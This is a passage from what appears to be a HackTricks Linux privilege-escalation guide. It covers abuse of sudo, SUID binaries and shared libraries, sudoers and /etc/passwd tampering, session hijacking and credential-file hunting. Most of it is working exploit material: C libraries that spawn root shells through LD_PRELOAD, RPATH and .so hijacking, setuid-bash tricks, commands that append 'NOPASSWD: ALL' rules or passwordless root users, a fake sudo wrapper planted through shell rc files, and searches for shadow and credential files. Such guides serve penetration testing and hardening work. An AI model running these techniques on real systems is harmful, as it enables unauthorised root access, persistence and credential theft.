   1451 **Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
   1452 
   1453 ### Sudo command/SUID binary without command path
   1454 
   1455 If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable
   1456 
   1457 ```bash
   1458 export PATH=/tmp:$PATH
   1459 #Put your backdoor in /tmp and name it "less"
   1460 sudo less
   1461 ```
   1462 
   1463 This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**.
   1464 
   1465 [Payload examples to execute.](/hacktricks/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute)
   1466 
   1467 ### SUID binary with command path
   1468 
   1469 If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling.
   1470 
   1471 For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it:
   1472 
   1473 ```bash
   1474 function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
   1475 export -f /usr/sbin/service
   1476 ```
   1477 
   1478 Then, when you call the suid binary, this function will be executed
   1479 
   1480 ### Writable script executed by a SUID wrapper
   1481 
   1482 A common custom-app misconfiguration is a root-owned SUID binary wrapper that executes a script, while the script itself is writable by low-priv users.
   1483 
   1484 Typical pattern:
   1485 
   1486 ```c
   1487 int main(void) {
   1488     system("/bin/bash /usr/local/bin/backup.sh");
   1489 }
   1490 ```
   1491 
   1492 If `/usr/local/bin/backup.sh` is writable, you can append payload commands and then execute the SUID wrapper:
   1493 
   1494 ```bash
   1495 echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
   1496 /usr/local/bin/backup_wrap
   1497 /var/tmp/rootbash -p
   1498 ```
   1499 
   1500 Quick checks:
   1501 
   1502 ```bash
   1503 find / -perm -4000 -type f 2>/dev/null
   1504 strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
   1505 ls -l /usr/local/bin/backup.sh
   1506 ```
   1507 
   1508 This attack path is especially common in "maintenance"/"backup" wrappers shipped in `/usr/local/bin`.
   1509 
   1510 ### LD_PRELOAD & **LD_LIBRARY_PATH**
   1511 
   1512 The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library.
   1513 
   1514 However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions:
   1515 
   1516 - The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_).
   1517 - For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded.
   1518 
   1519 Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges.<sup>[[9]](#references)</sup>
   1520 
   1521 ```text
   1522 Defaults        env_keep += LD_PRELOAD
   1523 ```
   1524 
   1525 Save as **/tmp/pe.c**
   1526 
   1527 ```c
   1528 #include <stdio.h>
   1529 #include <sys/types.h>
   1530 #include <stdlib.h>
   1531 
   1532 void _init() {
   1533     unsetenv("LD_PRELOAD");
   1534     setgid(0);
   1535     setuid(0);
   1536     system("/bin/bash");
   1537 }
   1538 ```
   1539 
   1540 Then **compile it** using:
   1541 
   1542 ```bash
   1543 cd /tmp
   1544 gcc -fPIC -shared -o pe.so pe.c -nostartfiles
   1545 ```
   1546 
   1547 Finally, **escalate privileges** running
   1548 
   1549 ```bash
   1550 sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
   1551 ```
   1552 
   1553 > [!CAUTION]
   1554 > A similar privesc can be abused if the attacker controls the **LD_LIBRARY_PATH** env variable because he controls the path where libraries are going to be searched.
   1555 
   1556 ```c
   1557 #include <stdio.h>
   1558 #include <stdlib.h>
   1559 
   1560 static void hijack() __attribute__((constructor));
   1561 
   1562 void hijack() {
   1563         unsetenv("LD_LIBRARY_PATH");
   1564         setresuid(0,0,0);
   1565         system("/bin/bash -p");
   1566 }
   1567 ```
   1568 
   1569 ```bash
   1570 # Compile & execute
   1571 cd /tmp
   1572 gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
   1573 sudo LD_LIBRARY_PATH=/tmp <COMMAND>
   1574 ```
   1575 
   1576 ### SUID Binary – .so injection
   1577 
   1578 When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command:<sup>[[17]](#references)</sup>
   1579 
   1580 ```bash
   1581 strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
   1582 ```
   1583 
   1584 For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation.
   1585 
   1586 To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code:
   1587 
   1588 ```c
   1589 #include <stdio.h>
   1590 #include <stdlib.h>
   1591 
   1592 static void inject() __attribute__((constructor));
   1593 
   1594 void inject(){
   1595     system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
   1596 }
   1597 ```
   1598 
   1599 This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges.
   1600 
   1601 Compile the above C file into a shared object (.so) file with:
   1602 
   1603 ```bash
   1604 gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
   1605 ```
   1606 
   1607 Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise.
   1608 
   1609 ## Shared Object Hijacking
   1610 
   1611 ```bash
   1612 # Lets find a SUID using a non-standard library
   1613 ldd some_suid
   1614 something.so => /lib/x86_64-linux-gnu/something.so
   1615 
   1616 # The SUID also loads libraries from a custom location where we can write
   1617 readelf -d payroll  | grep PATH
   1618 0x000000000000001d (RUNPATH)            Library runpath: [/development]
   1619 ```
   1620 
   1621 Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name:
   1622 
   1623 ```c
   1624 //gcc src.c -fPIC -shared -o /development/libshared.so
   1625 #include <stdio.h>
   1626 #include <stdlib.h>
   1627 
   1628 static void hijack() __attribute__((constructor));
   1629 
   1630 void hijack() {
   1631         setresuid(0,0,0);
   1632         system("/bin/bash -p");
   1633 }
   1634 ```
   1635 
   1636 If you get an error such as
   1637 
   1638 ```text
   1639 ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
   1640 ```
   1641 
   1642 that means that the library you have generated need to have a function called `a_function_name`.
   1643 
   1644 ### GTFOBins
   1645 
   1646 [**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command.
   1647 
   1648 The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
   1649 
   1650 > gdb -nx -ex '!sh' -ex quit\
   1651 > sudo mysql -e '! /bin/sh'\
   1652 > strace -o /dev/null /bin/sh\
   1653 > sudo awk 'BEGIN {system("/bin/sh")}'
   1654 
   1655 
   1656 [Gtfobins.Github.Io](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/linux-privilege-escalation/https%3A/gtfobins.github.io/README.md)
   1657 
   1658 
   1659 [Gtfoargs.Github.Io](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/linux-privilege-escalation/https%3A/gtfoargs.github.io/README.md)
   1660 
   1661 ### FallOfSudo
   1662 
   1663 If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule.
   1664 
   1665 ### Reusing Sudo Tokens
   1666 
   1667 In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**.<sup>[[18]](#references)</sup>
   1668 
   1669 Requirements to escalate privileges:
   1670 
   1671 - You already have a shell as user "_sampleuser_"
   1672 - "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password)
   1673 - `cat /proc/sys/kernel/yama/ptrace_scope` is 0
   1674 - `gdb` is accessible (you can be able to upload it)
   1675 
   1676 (You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`)
   1677 
   1678 If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
   1679 
   1680 - The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`):
   1681 
   1682 ```bash
   1683 bash exploit.sh
   1684 /tmp/activate_sudo_token
   1685 sudo su
   1686 ```
   1687 
   1688 - The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid**
   1689 
   1690 ```bash
   1691 bash exploit_v2.sh
   1692 /tmp/sh -p
   1693 ```
   1694 
   1695 - The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo**
   1696 
   1697 ```bash
   1698 bash exploit_v3.sh
   1699 sudo su
   1700 ```
   1701 
   1702 ### /var/run/sudo/ts/\<Username>
   1703 
   1704 If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\
   1705 For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing:
   1706 
   1707 ```bash
   1708 ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
   1709 ```
   1710 
   1711 ### /etc/sudoers, /etc/sudoers.d
   1712 
   1713 The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\
   1714 **If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**.
   1715 
   1716 ```bash
   1717 ls -l /etc/sudoers /etc/sudoers.d/
   1718 ls -ld /etc/sudoers.d/
   1719 ```
   1720 
   1721 If you can write you can abuse this permission
   1722 
   1723 ```bash
   1724 echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
   1725 echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
   1726 ```
   1727 
   1728 Another way to abuse these permissions:
   1729 
   1730 ```bash
   1731 # makes it so every terminal can sudo
   1732 echo "Defaults !tty_tickets" > /etc/sudoers.d/win
   1733 # makes it so sudo never times out
   1734 echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
   1735 ```
   1736 
   1737 ### DOAS
   1738 
   1739 There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
   1740 
   1741 ```bash
   1742 permit nopass demo as root cmd vim
   1743 permit nopass demo as root cmd python3
   1744 permit nopass keepenv demo as root cmd /opt/backup.sh
   1745 ```
   1746 
   1747 If `doas` allows an editor or interpreter, check GTFOBins-style escapes:
   1748 
   1749 ```bash
   1750 doas vim
   1751 :!/bin/sh
   1752 ```
   1753 
   1754 ### Sudo Hijacking
   1755 
   1756 If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed.
   1757 
   1758 Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
   1759 
   1760 Or running something like:
   1761 
   1762 ```bash
   1763 cat >/tmp/sudo <<EOF
   1764 #!/bin/bash
   1765 /usr/bin/sudo whoami > /tmp/privesc
   1766 /usr/bin/sudo "\$@"
   1767 EOF
   1768 chmod +x /tmp/sudo
   1769 echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
   1770 
   1771 # From the victim
   1772 zsh
   1773 echo $PATH
   1774 sudo ls
   1775 ```
   1776 
   1777 ## Shared Library
   1778 
   1779 ### ld.so
   1780 
   1781 The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf`
   1782 
   1783 That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**.
   1784 
   1785 If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\
   1786 Take a look at **how to exploit this misconfiguration** in the following page:
   1787 
   1788 
   1789 [Ld.So.Conf Example](/hacktricks/linux-hardening/interesting-files-permissions/ld-so-conf-example)
   1790 
   1791 ### RPATH
   1792 
   1793 ```text
   1794 level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
   1795  0x00000001 (NEEDED)                     Shared library: [libc.so.6]
   1796  0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]
   1797 
   1798 level15@nebula:/home/flag15$ ldd ./flag15
   1799  linux-gate.so.1 =>  (0x0068c000)
   1800  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
   1801  /lib/ld-linux.so.2 (0x005bb000)
   1802 ```
   1803 
   1804 By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
   1805 
   1806 ```text
   1807 level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
   1808 
   1809 level15@nebula:/home/flag15$ ldd ./flag15
   1810  linux-gate.so.1 =>  (0x005b0000)
   1811  libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
   1812  /lib/ld-linux.so.2 (0x00737000)
   1813 ```
   1814 
   1815 Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
   1816 
   1817 ```c
   1818 #include<stdlib.h>
   1819 #define SHELL "/bin/sh"
   1820 
   1821 int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
   1822 {
   1823  char *file = SHELL;
   1824  char *argv[] = {SHELL,0};
   1825  setresuid(geteuid(),geteuid(), geteuid());
   1826  execve(file,argv,0);
   1827 }
   1828 ```
   1829 
   1830 ## Capabilities
   1831 
   1832 Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\
   1833 Read the following page to **learn more about capabilities and how to abuse them**:
   1834 
   1835 
   1836 [Linux Capabilities](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities)
   1837 
   1838 ## Directory permissions
   1839 
   1840 In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\
   1841 The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**.
   1842 
   1843 ## ACLs
   1844 
   1845 Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).<sup>[[19]](#references)</sup>
   1846 
   1847 **Give** user "kali" read and write permissions over a file:
   1848 
   1849 ```bash
   1850 setfacl -m u:kali:rw file.txt
   1851 #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
   1852 
   1853 setfacl -b file.txt #Remove the ACL of the file
   1854 ```
   1855 
   1856 **Get** files with specific ACLs from the system:
   1857 
   1858 ```bash
   1859 getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
   1860 ```
   1861 
   1862 ### Hidden ACL backdoor on sudoers drop-ins
   1863 
   1864 A common misconfiguration is a root-owned file in `/etc/sudoers.d/` with mode `440` that still grants write access to a low-priv user via ACL.
   1865 
   1866 ```bash
   1867 ls -l /etc/sudoers.d/*
   1868 getfacl /etc/sudoers.d/<file>
   1869 ```
   1870 
   1871 If you see something like `user:alice:rw-`, the user can append a sudo rule despite restrictive mode bits:
   1872 
   1873 ```bash
   1874 echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
   1875 visudo -cf /etc/sudoers.d/<file>
   1876 sudo -l
   1877 ```
   1878 
   1879 This is a high-impact ACL persistence/privesc path because it is easy to miss in `ls -l`-only reviews.
   1880 
   1881 ## Open shell sessions
   1882 
   1883 In **old versions** you may **hijack** some **shell** session of a different user (**root**).\
   1884 In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**.
   1885 
   1886 ### screen sessions hijacking
   1887 
   1888 **List screen sessions**
   1889 
   1890 ```bash
   1891 screen -ls
   1892 screen -ls <username>/ # Show another user' screen sessions
   1893 
   1894 # Socket locations (some systems expose one as symlink of the other)
   1895 ls /run/screen/ /var/run/screen/ 2>/dev/null
   1896 ```
   1897 
   1898 ![screen sessions hijacking - Socket locations (some systems expose one as symlink of the other): ls /run/screen/ /var/run/screen/ 2 /dev/null](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/images/image%20%28141%29.png)
   1899 
   1900 **Attach to a session**
   1901 
   1902 ```bash
   1903 screen -dr <session> #The -d is to detach whoever is attached to it
   1904 screen -dr 3350.foo #In the example of the image
   1905 screen -x [user]/[session id]
   1906 ```
   1907 
   1908 ## tmux sessions hijacking
   1909 
   1910 This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user.
   1911 
   1912 **List tmux sessions**
   1913 
   1914 ```bash
   1915 tmux ls
   1916 ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
   1917 tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
   1918 ```
   1919 
   1920 ![Socket locations (some systems expose one as symlink of the other) - tmux sessions hijacking: tmux -S /tmp/dev sess ls List using that socket, you can start a tmux session in that socket...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/images/image%20%28837%29.png)
   1921 
   1922 **Attach to a session**
   1923 
   1924 ```bash
   1925 tmux attach -t myname #If you write something in this session it will appears in the other opened one
   1926 tmux attach -d -t myname #First detach the session from the other console and then access it yourself
   1927 
   1928 ls -la /tmp/dev_sess #Check who can access it
   1929 rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
   1930 # If you are root or devs you can access it
   1931 tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
   1932 ```
   1933 
   1934 Check **Valentine box from HTB** for an example.
   1935 
   1936 ## SSH
   1937 
   1938 ### Debian OpenSSL Predictable PRNG - CVE-2008-0166
   1939 
   1940 All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\
   1941 This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
   1942 
   1943 ### SSH Interesting configuration values
   1944 
   1945 - **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`.
   1946 - **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`.
   1947 - **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`.
   1948 
   1949 ### Login control files
   1950 
   1951 These files influence who can log in and how:
   1952 
   1953 - **`/etc/nologin`**: if present, blocks non-root logins and prints its message.
   1954 - **`/etc/securetty`**: restricts where root can log in (TTY allowlist).
   1955 - **`/etc/motd`**: post-login banner (can leak environment or maintenance details).
   1956 
   1957 ### PermitRootLogin
   1958 
   1959 Specifies whether root can log in using ssh, default is `no`. Possible values:
   1960 
   1961 - `yes`: root can login using password and private key
   1962 - `without-password` or `prohibit-password`: root can only login with a private key
   1963 - `forced-commands-only`: Root can login only using private key and if the commands options are specified
   1964 - `no` : no
   1965 
   1966 ### AuthorizedKeysFile
   1967 
   1968 Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example:
   1969 
   1970 ```bash
   1971 AuthorizedKeysFile    .ssh/authorized_keys access
   1972 ```
   1973 
   1974 That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
   1975 
   1976 ### ForwardAgent/AllowAgentForwarding
   1977 
   1978 SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**.
   1979 
   1980 You need to set this option in `$HOME/.ssh.config` like this:
   1981 
   1982 ```text
   1983 Host example.com
   1984   ForwardAgent yes
   1985 ```
   1986 
   1987 Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue).
   1988 
   1989 The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\
   1990 The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow).
   1991 
   1992 If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**:
   1993 
   1994 
   1995 [Ssh Forward Agent Exploitation](/hacktricks/linux-hardening/user-information/ssh-forward-agent-exploitation)
   1996 
   1997 ## Interesting Files
   1998 
   1999 ### Profiles files
   2000 
   2001 The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**.
   2002 
   2003 ```bash
   2004 ls -l /etc/profile /etc/profile.d/
   2005 ```
   2006 
   2007 If any weird profile script is found you should check it for **sensitive details**.
   2008 
   2009 ### Passwd/Shadow Files
   2010 
   2011 Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files:
   2012 
   2013 ```bash
   2014 #Passwd equivalent files
   2015 cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
   2016 #Shadow equivalent files
   2017 cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
   2018 ```
   2019 
   2020 In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file
   2021 
   2022 ```bash
   2023 grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
   2024 ```
   2025 
   2026 ### Writable /etc/passwd
   2027 
   2028 First, generate a password with one of the following commands.
   2029 
   2030 ```text
   2031 openssl passwd -1 -salt hacker hacker
   2032 mkpasswd -m SHA-512 hacker
   2033 python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
   2034 ```
   2035 
   2036 Then add the user `hacker` and add the generated password.
   2037 
   2038 ```text
   2039 hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
   2040 ```
   2041 
   2042 E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
   2043 
   2044 You can now use the `su` command with `hacker:hacker`
   2045 
   2046 Alternatively, you can use the following lines to add a dummy user without a password.\
   2047 WARNING: you might degrade the current security of the machine.
   2048 
   2049 ```text
   2050 echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
   2051 su - dummy
   2052 ```
   2053 
   2054 NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
   2055 
   2056 You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**?
   2057 
   2058 ```bash
   2059 find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
   2060 for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
   2061 ```
   2062 
   2063 For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines:
   2064 
   2065 ```text
   2066 ExecStart=/path/to/backdoor
   2067 User=root
   2068 Group=root
   2069 ```
   2070 
   2071 Your backdoor will be executed the next time that tomcat is started.
   2072 
   2073 ### Check Folders
   2074 
   2075 The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try)
   2076 
   2077 ```bash
   2078 ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
   2079 ```
   2080 
   2081 ### Weird Location/Owned files
   2082 
   2083 ```bash
   2084 #root owned files in /home folders
   2085 find /home -user root 2>/dev/null
   2086 #Files owned by other users in folders owned by me
   2087 for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
   2088 #Files owned by root, readable by me but not world readable
   2089 find / -type f -user root ! -perm -o=r 2>/dev/null
   2090 #Files owned by me or world writable
   2091 find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
   2092 #Writable files by each group I belong to
   2093 for g in `groups`;
   2094       do printf "  Group $g:\n";
   2095       find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
   2096       done
   2097 done
   2098 ```
   2099 
   2100 ### Modified files in last mins
   2101 
   2102 ```bash
   2103 find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
   2104 ```
   2105 
   2106 ### Sqlite DB files
   2107 
   2108 ```bash
   2109 find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
   2110 ```
   2111 
   2112 ### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
   2113 
   2114 ```bash
   2115 find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
   2116 ```
   2117 
   2118 ### Hidden files
   2119 
   2120 ```bash
   2121 find / -type f -iname ".*" -ls 2>/dev/null
   2122 ```
   2123 
   2124 ### **Script/Binaries in PATH**
   2125 
   2126 ```bash
   2127 for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
   2128 for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
   2129 ```
   2130 
   2131 ### **Web files**
   2132 
   2133 ```bash
   2134 ls -alhR /var/www/ 2>/dev/null
   2135 ls -alhR /srv/www/htdocs/ 2>/dev/null
   2136 ls -alhR /usr/local/www/apache22/data/
   2137 ls -alhR /opt/lampp/htdocs/ 2>/dev/null
   2138 ```
   2139 
   2140 ### **Backups**
   2141 
   2142 ```bash
   2143 find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
   2144 ```
   2145 
   2146 ### Known files containing passwords
   2147 
   2148 Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\
   2149 **Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.
   2150 
   2151 ### Logs
   2152 
